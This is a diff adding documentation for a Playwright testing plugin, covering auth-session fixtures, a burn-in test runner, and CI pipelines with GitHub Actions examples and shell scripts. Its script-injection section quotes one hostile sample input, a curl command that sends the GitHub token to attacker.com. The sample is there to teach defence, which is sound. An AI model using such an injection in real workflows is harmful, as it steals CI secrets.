+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
